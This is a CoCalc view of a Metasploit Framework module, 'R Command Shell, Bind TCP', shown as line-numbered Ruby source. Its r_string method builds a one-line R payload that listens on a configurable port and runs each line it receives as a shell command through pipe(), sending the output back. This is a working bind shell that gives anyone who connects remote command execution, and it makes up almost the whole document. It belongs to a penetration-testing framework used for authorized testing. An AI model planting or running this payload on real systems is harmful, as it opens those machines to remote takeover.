Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/r/shell_bind_tcp.rb
19535 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 125
8
9
include Msf::Payload::Single
10
include Msf::Payload::R
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'R Command Shell, Bind TCP',
18
'Description' => 'Continually listen for a connection and spawn a command shell via R',
19
'Author' => [ 'RageLtMan <rageltman[at]sempervictus>' ],
20
'License' => MSF_LICENSE,
21
'Platform' => 'r',
22
'Arch' => ARCH_R,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'PayloadType' => 'r',
26
'Payload' => { 'Offsets' => {}, 'Payload' => '' }
27
)
28
)
29
end
30
31
def generate(_opts = {})
32
return prepends(r_string)
33
end
34
35
def r_string
36
return "s<-socketConnection(port=#{datastore['LPORT']}," \
37
"blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" \
38
'(pipe(readLines(s,1))),s)}'
39
end
40
end
41
42